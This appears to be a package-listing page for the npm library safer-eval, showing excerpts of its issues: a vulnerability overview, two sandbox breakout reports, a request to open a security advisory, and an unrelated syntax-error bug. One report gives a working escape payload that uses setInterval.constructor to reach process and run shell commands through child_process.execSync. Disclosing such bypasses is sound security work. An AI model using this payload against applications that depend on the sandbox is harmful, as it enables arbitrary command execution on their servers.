safer-eval
safer-eval copied to clipboard
commenthol
a safer eval
# Overview [safer-eval](https://www.npmjs.com/package/safer-eval) is a safer approach for eval in node and browser. Affected versions of this package are vulnerable to Arbitrary Code Execution via generating a `RangeError: Maximum call...
Breakout
One can break out of the sandbox with the following code in node: ```JS const saferEval = require("./src/index"); const theFunction = function () { const process = clearImmediate.constructor("return process;")(); return...
The following can be used to break out of the sandbox: ```javascript var saferEval = require("safer-eval"); var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();"; console.log(saferEval(code)); ``` Other than `setInterval`, one can also use...
Hi! I found a bypass. Please open a GitHub Security Advisory: https://github.com/commenthol/safer-eval/security/advisories
Whenever someone tries to assign a variable for example `let test = "test"` It will throw `SyntaxError: Unexpected strict mode reserved word`
